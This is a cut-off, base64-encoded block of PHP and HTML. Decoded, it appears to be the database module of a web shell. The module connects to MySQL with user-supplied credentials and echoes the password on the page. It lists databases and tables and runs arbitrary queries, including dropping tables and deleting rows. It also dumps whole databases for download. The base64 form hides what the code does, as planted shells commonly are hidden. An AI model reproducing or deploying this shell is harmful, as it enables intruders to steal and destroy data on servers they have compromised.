WFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiKTskc3FscXVpY2tsYXVuY2hbXT1hcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7JHNxbHF1aWNrbGF1bmNoW109YXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVyc3RhdHVzIik7JHNxbHF1aWNrbGF1bmNoW109YXJyYXkoIlNlcnZlciB2YXJpYWJsZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVydmFycyIpOyRzcWxxdWlja2xhdW5jaFtdPWFycmF5KCJQcm9jZXNzZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9cHJvY2Vzc2VzIik7JHNxbHF1aWNrbGF1bmNoW109YXJyYXkoIkxvZ291dCIsJHN1cmwuImFjdD1zcWwiKTtlY2hvICJNeVNRTCAiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIgKHByb3RvIHYuIi5teXNxbF9nZXRfcHJvdG9faW5mbygpLiIpIFNlcnZlcjogIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7aWYoY291bnQoJHNxbHF1aWNrbGF1bmNoKT4wICl7Zm9yZWFjaCgkc3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pe2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMSBdLiJcIj4iLiRpdGVtWzAgXS4iPC9hPiBdICI7fX19ID8+DQo8L2Rpdj4NCg0KPHRhYmxlPg0KCTx0cj4NCjw/IGlmKCEkc3FsX3NvY2speyA/Pg0KCTx0ZD4NCgk8Zm9ybSBuYW1lPSJmX3NxbCIgYWN0aW9uPSI8PyBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJwb3N0Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj4NCgkJPHRhYmxlIGNsYXNzPSJleHBsb3JlciI+DQoJCQk8dHI+DQoJCQk8dGg+VXNlcm5hbWU8YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiPjwvdGg+DQoJCQk8dGg+UGFzc3dvcmQ8YnI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIj48L3RoPg0KCQkJPHRoPkRhdGFiYXNlPGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiPjwvdGg+DQoJCQk8dGg+SG9zdDxicj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCI+PC90aD4NCgkJCTx0aD5Qb3J0PGJyPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IjMzMDYiIHNpemU9IjMiPjwvdGg+DQoJCQk8L3RyPg0KCQkJPHRyPjx0aCBjb2xzcGFuPSI1Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90aD48L3RyPg0KCQk8L3RhYmxlPg0KCTwvZm9ybT4NCjw/IH1lbHNlIHsgPz4NCgk8dGQ+DQoJPGNlbnRlcj4NCgk8YSBocmVmPSI8PyBlY2hvICRzcWxfc3VybDsgPz4iPjxiPkhPTUU8L2I+PC9hPg0KCTxociBzaXplPSIxIiBub3NoYWRlPg0KPD8gJHJlc3VsdD1teXNxbF9saXN0X2Ricygkc3FsX3NvY2spO2lmKCEkcmVzdWx0KXtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9ZWxzZSB7ID8+DQoJRGF0YWJhc2UNCgk8Zm9ybSBhY3Rpb249Ijw/IGVjaG8gJHN1cmwgPz4iPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KCQk8c2VsZWN0IG5hbWU9InNxbF9kYiIgb25jaGFuZ2U9InRoaXMuZm9ybS5zdWJtaXQoKSI+DQo8PyAkYz0wIDskZGJzPSIiO3doaWxlKCRyb3c9bXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKXskZGJzLj0iXHRcdDxvcHRpb24gdmFsdWU9XCIiLiRyb3dbMCBdLiJcIiI7aWYoQCRzcWxfZGI9PSRyb3dbMCBdKXskZGJzLj0iIHNlbGVjdGVkIjt9JGRicy49Ij4iLiRyb3dbMCBdLiI8L29wdGlvbj5cbiI7JGMrKzt9ZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj5cbiI7ZWNobyAkZGJzO30gPz4NCgkJPC9zZWxlY3Q+DQoJPC9mb3JtPg0KCTwvY2VudGVyPg0KCTxociBzaXplPSIxIiBub3NoYWRlPg0KPD8gaWYoaXNzZXQoJHNxbF9kYikpeyRyZXN1bHQ9bXlzcWxfbGlzdF90YWJsZXMoJHNxbF9kYik7aWYoISRyZXN1bHQpe2VjaG8gbXlzcWxfc21hcnRlcnJvcigkc3FsX3NvY2spO31lbHNlIHtlY2hvICJcdC09WyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuIiZcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIjwvYj48L2E+IF09LTxicj48YnI+XG4iOyRjPTAgO3doaWxlKCRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRjb3VudD1teXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gIi4kcm93WzAgXSk7JGNvdW50X3Jvdz1teXNxbF9mZXRjaF9hcnJheSgkY291bnQpO2VjaG8gIlx0PGI+KyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzAgXSkuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzAgXSkuIjwvYT48L2I+ICgiLiRjb3VudF9yb3dbMCBdLiIpPC9icj48L2I+XG4iO215c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7JGMrKzt9aWYoISRjKXtlY2hvICJObyB0YWJsZXMgZm91bmQgaW4gZGF0YWJhc2UiO319fSA/Pg0KDQoJPC90ZD4NCgk8dGQ+DQo8PyAkZGlwbGF5PVRSVUU7aWYoQCRzcWxfZGIpe2lmKCFpc19udW1lcmljKCRjKSl7JGM9MCA7fWlmKCRjPT0wICl7JGM9Im5vIjt9ZWNobyAiXHQ8Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gZGF0YWJhc2U6ICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iIjtpZihjb3VudChAJGRicXVpY2tsYXVuY2gpPjAgKXtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKXtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzEgXS4iXCI+Ii4kaXRlbVswIF0uIjwvYT4gXSAiO319ZWNobyAiPC9iPjwvY2VudGVyPlxuIjskYWN0cz1hcnJheSgiIiwiZHVtcCIpO2lmKCRzcWxfYWN0PT0idGJsZHJvcCIpeyRzcWxfcXVlcnk9IkRST1AgVEFCTEUiO2ZvcmVhY2goJGJveHRibCBhcyAkdil7JHNxbF9xdWVyeS49IlxuYCIuJHYuImAgLCI7fSRzcWxfcXVlcnk9c3Vic3RyKCRzcWxfcXVlcnksMCAsLTEgKS4iOyI7JHNxbF9hY3Q9InF1ZXJ5Ijt9ZWxzZWlmKCRzcWxfYWN0PT0idGJsZW1wdHkiKXskc3FsX3F1ZXJ5PSIiO2ZvcmVhY2goJGJveHRibCBhcyAkdil7JHNxbF9xdWVyeS49IkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9JHNxbF9hY3Q9InF1ZXJ5Ijt9ZWxzZWlmKCRzcWxfYWN0PT0idGJsZHVtcCIpe2lmKGNvdW50KCRib3h0YmwpPjAgKXskZG1wdGJscz0kYm94dGJsO31lbHNlaWYoJHRoaXN0YmwpeyRkbXB0YmxzPWFycmF5KCRzcWxfdGJsKTt9JHNxbF9hY3Q9ImR1bXAiO31lbHNlaWYoJHNxbF9hY3Q9PSJ0YmxjaGVjayIpeyRzcWxfcXVlcnk9IkNIRUNLIFRBQkxFIjtmb3JlYWNoKCRib3h0YmwgYXMgJHYpeyRzcWxfcXVlcnkuPSJcbmAiLiR2LiJgICwiO30kc3FsX3F1ZXJ5PXN1YnN0cigkc3FsX3F1ZXJ5LDAgLC0xICkuIjsiOyRzcWxfYWN0PSJxdWVyeSI7fWVsc2VpZigkc3FsX2FjdD09InRibG9wdGltaXplIil7JHNxbF9xdWVyeT0iT1BUSU1JWkUgVEFCTEUiO2ZvcmVhY2goJGJveHRibCBhcyAkdil7JHNxbF9xdWVyeS49IlxuYCIuJHYuImAgLCI7fSRzcWxfcXVlcnk9c3Vic3RyKCRzcWxfcXVlcnksMCAsLTEgKS4iOyI7JHNxbF9hY3Q9InF1ZXJ5Ijt9ZWxzZWlmKCRzcWxfYWN0PT0idGJscmVwYWlyIil7JHNxbF9xdWVyeT0iUkVQQUlSIFRBQkxFIjtmb3JlYWNoKCRib3h0YmwgYXMgJHYpeyRzcWxfcXVlcnkuPSJcbmAiLiR2LiJgICwiO30kc3FsX3F1ZXJ5PXN1YnN0cigkc3FsX3F1ZXJ5LDAgLC0xICkuIjsiOyRzcWxfYWN0PSJxdWVyeSI7fWVsc2VpZigkc3FsX2FjdD09InRibGFuYWx5emUiKXskc3FsX3F1ZXJ5PSJBTkFMWVpFIFRBQkxFIjtmb3JlYWNoKCRib3h0YmwgYXMgJHYpeyRzcWxfcXVlcnkuPSJcbmAiLiR2LiJgICwiO30kc3FsX3F1ZXJ5PXN1YnN0cigkc3FsX3F1ZXJ5LDAgLC0xICkuIjsiOyRzcWxfYWN0PSJxdWVyeSI7fWVsc2VpZigkc3FsX2FjdD09ImRlbGV0ZXJvdyIpeyRzcWxfcXVlcnk9IiI7aWYoIWVtcHR5KCRib3hyb3dfYWxsKSl7JHNxbF9xdWVyeT0iREVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYDsiO31lbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpeyRzcWxfcXVlcnkuPSJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30kc3FsX3F1ZXJ5PXN1YnN0cigkc3FsX3F1ZXJ5LDAgLC0xICk7fSRzcWxfYWN0PSJxdWVyeSI7fWVsc2VpZigkc3FsX3RibF9hY3Q9PSJpbnNlcnQiKXtpZigkc3FsX3RibF9pbnNlcnRfcmFkaW89PTEgKXska2V5cz0iIjskYWtleXM9YXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpO2ZvcmVhY2goJGFrZXlzIGFzICR2KXska2V5cy49ImAiLmFkZHNsYXNoZXMoJHYpLiJgLCAiO31pZighZW1wdHkoJGtleXMpKXska2V5cz1zdWJzdHIoJGtleXMsMCAsc3RybGVuKCRrZXlzKS0yICk7fSR2YWx1ZXM9IiI7JGk9MCA7Zm9yZWFjaChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdil7aWYoJGZ1bmN0PSRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0peyR2YWx1ZXMuPSRmdW5jdC4iICgiO30kdmFsdWVzLj0iJyIuYWRkc2xhc2hlcygkdikuIiciO2lmKCRmdW5jdCl7JHZhbHVlcy49IikiO30kdmFsdWVzLj0iLCAiOyRpKys7fWlmKCFlbXB0eSgkdmFsdWVzKSl7JHZhbHVlcz1zdWJzdHIoJHZhbHVlcywwICxzdHJsZW4oJHZhbHVlcyktMiApO30kc3FsX3F1ZXJ5PSJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7Ijskc3FsX2FjdD0icXVlcnkiOyRzcWxfdGJsX2FjdD0iYnJvd3NlIjt9ZWxzZWlmKCRzcWxfdGJsX2luc2VydF9yYWRpbz09MiApeyRzZXQ9bXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTskc3FsX3F1ZXJ5PSJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7JHJlc3VsdD1teXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludCAobXlzcWxfc21hcnRlcnJvcigpKTskcmVzdWx0PW15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsTVlTUUxfQVNTT0MpOyRzcWxfYWN0PSJxdWVyeSI7JHNxbF90YmxfYWN0PSJicm93c2UiO319aWYoJHNxbF9hY3Q9PSJxdWVyeSIpe2VjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjtpZigoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSl7aWYoISRzcWxfcXVlcnlfZXJyb3IpeyRzcWxfcXVlcnlfZXJyb3I9IlF1ZXJ5IHdhcyBlbXB0eSI7fWVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fWlmKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSl7JHNxbF9hY3Q9JHNxbF9nb3RvO31pZigoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpe2VjaG8gIjx0YWJsZT48dHI+PHRkPjxmb3JtIGFjdGlvbj1cIiIuJHNxbF9zdXJsLiJcIiBtZXRob2Q9XCJwb3N0XCI+PGI+IjtpZigoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpe2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0bzoiO31lbHNlIHtlY2hvICJTUUwtUXVlcnkgOiI7fWVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPjwvdHI+PC90YWJsZT4iO319aWYoaW5fYXJyYXkoJHNxbF9hY3QsJGFjdHMpKXsgPz4NCgk8dGFibGU+DQoJCTx0cj4NCgkJPHRkPg0KCQk8Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj4NCgkJPGZvcm0gYWN0aW9uPSI8PyBlY2hvICRzdXJsOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfZGIiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7ID8+Ij4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPg0KCQkJRmllbGRzOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2ZpZWxkIiBzaXplPSIzIj4NCgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPg0KCQk8L2Zvcm0+DQoJCTwvdGQ+DQoJCTx0ZD48Yj5EdW1wIERCOjwvYj4NCgkJPGZvcm0gYWN0aW9uPSI8PyBlY2hvICRzdXJsOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD8gZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD8gZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8PyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTsgPz4iPg0KCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8PyBlY2hvICJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIjsgPz4iPg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iRHVtcCI+DQoJCTwvZm9ybT4NCgkJPC90ZD4NCgkJPC90cj4NCgk8L3RhYmxlPg0KPD8gaWYoIWVtcHR5KCRzcWxfYWN0KSl7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iO31pZigkc3FsX2FjdD09Im5ld3RibCIpe2VjaG8gIjxiPiI7aWYoKG15c3FsX2NyZWF0ZV9kYigkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKXtlY2hvICJEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX25ld2RiKS4iXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iO31lbHNlIHtlY2hvICJDYW4ndCBjcmVhdGUgREIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikuIlwiLjxicj5SZWFzb246PC9iPiAiLm15c3FsX3NtYXJ0ZXJyb3IoKTt9fWVsc2VpZigkc3FsX2FjdD09ImR1bXAiKXtpZihlbXB0eSgkc3VibWl0KSl7JGRpcGxheT1GQUxTRTtlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cImR1bXBcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wb3J0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iXCI+PGI+U1FMLUR1bXA6PC9iPjxicj48YnI+IjtlY2hvICI8Yj5EQjo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZGJcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRzcWxfZGIpLiJcIj48YnI+PGJyPiI7JHY9am9pbigiOyIsJGRtcHRibHMpO2VjaG8gIjxiPk9ubHkgdGFibGVzIChleHBsb2RlIFwiO1wiKSA8Yj48c3VwPjE8L3N1cD48L2I+OjwvYj4gPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiIHNpemU9XCIiLihzdHJsZW4oJHYpKzUgKS4iXCI+PGJyPjxicj4iO2lmKCRkdW1wX2ZpbGUpeyR0bXA9JGR1bXBfZmlsZTt9ZWxzZSB7JHRtcD1odG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9ZWNobyAiPGI+RmlsZTo8L2I+IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3RybGVuKCR0bXApJTMwICkuIlwiPjxicj48YnI+IjtlY2hvICI8Yj5Eb3dubG9hZDogPC9iPiA8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7ZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+IDxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwic3FsX2R1bXBfc2F2ZXRvZmlsZVwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+IjtlY2hvICI8YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiRHVtcFwiPjxicj48YnI+PGI+PHN1cD4xPC9zdXA+PC9iPiAtIGFsbCwgaWYgZW1wdHkiO2VjaG8gIjwvZm9ybT4iO31lbHNlIHskZGlwbGF5PVRSVUU7JHNldD1hcnJheSgpOyRzZXRbInNvY2siXT0kc3FsX3NvY2s7JHNldFsiZGIiXT0kc3FsX2RiOyRkdW1wX291dD0iZG93bmxvYWQiOyRzZXRbInByaW50Il09MCA7JHNldFsibmwyYnIiXT0wIDskc2V0WyIiXT0wIDskc2V0WyJmaWxlIl09JGR1bXBfZmlsZTskc2V0WyJhZGRfZHJvcCJdPVRSVUU7JHNldFsib25seXRhYnMiXT1hcnJheSgpO2lmKCFlbXB0eSgkZG1wdGJscykpeyRzZXRbIm9ubHl0YWJzIl09ZXhwbG9kZSgiOyIsJGRtcHRibHMpO30kcmV0PW15c3FsX2R1bXAoJHNldCk7aWYoJHNxbF9kdW1wX2Rvd25sb2FkKXtAb2JfY2xlYW4oKTtoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7aGVhZGVyKCJDb250ZW50LWxlbmd0aDogIi5zdHJsZW4oJHJldCkpO2hlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxlKS4iXCI7Iik7ZWNobyAkcmV0O2V4aXQ7fWVsc2VpZigkc3FsX2R1bXBfc2F2ZXRvZmlsZSl7JGZwPWZvcGVuKCRzcWxfZHVtcF9maWxlLCJ3Iik7aWYoISRmcCl7ZWNobyAiP